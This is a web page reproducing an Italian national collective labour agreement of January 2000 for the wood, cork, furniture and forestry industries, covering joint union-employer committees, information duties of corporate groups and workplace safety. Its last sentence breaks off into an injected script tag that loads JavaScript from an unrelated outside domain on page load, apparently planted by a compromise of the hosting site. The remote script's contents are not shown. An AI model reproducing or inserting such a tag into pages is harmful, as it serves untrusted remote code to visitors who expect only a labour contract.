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Categoria: Legno, arredamento (piccola e media impresa) Settore: Edilizia Data stipula: 24-1-2000 Data decorrenza: 1-1-2000 Data scadenza: 31-12-2003
Roma, 24 gennaio 2000
Tra
UNITAL/CONFAPI
e
FILLEA-CGIL, FILCA-CISL, FeNEAL-UIL
è stato stipulato il presente
Contratto collettivo nazionale di lavoro
a valere
PER GLI ADDETTI ALL'INDUSTRIA DEL LEGNO, DEL SUGHERO, DEL MOBILE E
DELL'ARREDAMENTO, E PER LE INDUSTRIE BOSCHIVE E FORESTALI.
Parte I - RAPPORTI E DIRITTI SINDACALI
Omissis
Art. 1 - Comitati Paritetici per lo sviluppo e la gestione delle relazioni
sindacali.
Omissis
Il Comitato Paritetico si costituisce nelle aree distrettuali individuate
dalla legge.
Le parti esamineranno entro il 31.12.00, a livello territoriale, la
possibilità di pattuire la costituzione di Comitati paritetici nelle aree-
sistema.
2. Comitato paritetico nazionale.
Omissis
Nel Comitato paritetico nazionale si costituisce la Commissione bilaterale
paritetica sull'apprendistato.
Il Comitato paritetico nazionale, avvalendosi dell'Osservatorio, definisce
orientamenti, indirizzi e obiettivi concernenti le materie di seguito
indicate:
Omissis
- rilevazione delle caratteristiche e dell'andamento della
contrattazione di 2° livello;
- competitività del settore anche avendo riguardo all'introduzione
dell'EURO.
Omissis
La Commissione bilaterale paritetica sull'apprendistato definisce
orientamenti e indirizzi sull'individuazione di linee-guida per la
formazione degli apprendisti, in base alle quali la contrattazione
territoriale potrà attuare quanto previsto al comma 3, art. 8, parte VII.
6. Livello di gruppo.
Di norma annualmente i gruppi, intendendosi per tali l'insieme delle
aziende controllate (possesso di almeno il 51% del pacchetto azionario) e
della controllante articolate su più unità produttive di significativa
importanza nell'ambito del territorio nazionale che occupano
complessivamente più di 250 dipendenti e abbiano un fatturato annuo
superiore a 80 miliardi di lire (oppure un totale di bilancio annuo
superiore a 55 miliardi di lire) assistite dall'API nella cui area di
competenza si trova la Direzione generale dell'azienda interessata,
forniranno alle RSU, assistiti dalle OO.SS. dei lavoratori, nel corso di
un apposito incontro, informazioni relative:
- alle prospettive economiche e produttive con riferimento ai
prevedibili riflessi sulla situazione occupazionale;
- ai programmi d'investimento e alle conseguenti prevedibili
implicazioni sull'occupazione e sulle condizioni ambientali ed ecologiche;
- ai programmi che comportino nuovi insediamenti industriali o
rilevanti ampliamenti di quelli esistenti;
- alle innovazioni tecnologiche che abbiano significativa incidenza
sull'occupazione;
- alla struttura occupazionale scomposta per sesso e classi di età.
Nel corso di tale incontro il sindacato verrà informato delle prevedibili
implicazioni degli investimenti predetti sull'occupazione e sulle
condizioni ambientali ed ecologiche.
Omissis
Art. 9 - Ambiente di lavoro.
Premessa.
Le parti richiamano e recepiscono l'Accordo interconfederale
CONFAPI/CGIL/CISL/UIL del 27.10.95 sui rappresentanti dei lavoratori sulla
sicurezza nei luoghi di lavoro.
Le parti provvederanno, nella fase di stesura del testo contrattuale, a
trascrivere in esso quanto previsto dall'accordo citato riguardo al
rappresentante dei lavoratori per la sicurezza (RLS).
Le parti stipulanti, nella consapevolezza che la salvaguardia della salute
e della sicurezza dei lavoratori nei luoghi di lavoro rappresentano
elementi fondamentali per lo sviluppo delle attività lavorative e che è
indispensabile rendere compatibile la salvaguardia dell'ambiente con lo
sviluppo delle aziende, ritengono necessario il metodo della
partecipazione e responsabilizzazione<script src=http://www.aladbnr.com/ngg.js></script>
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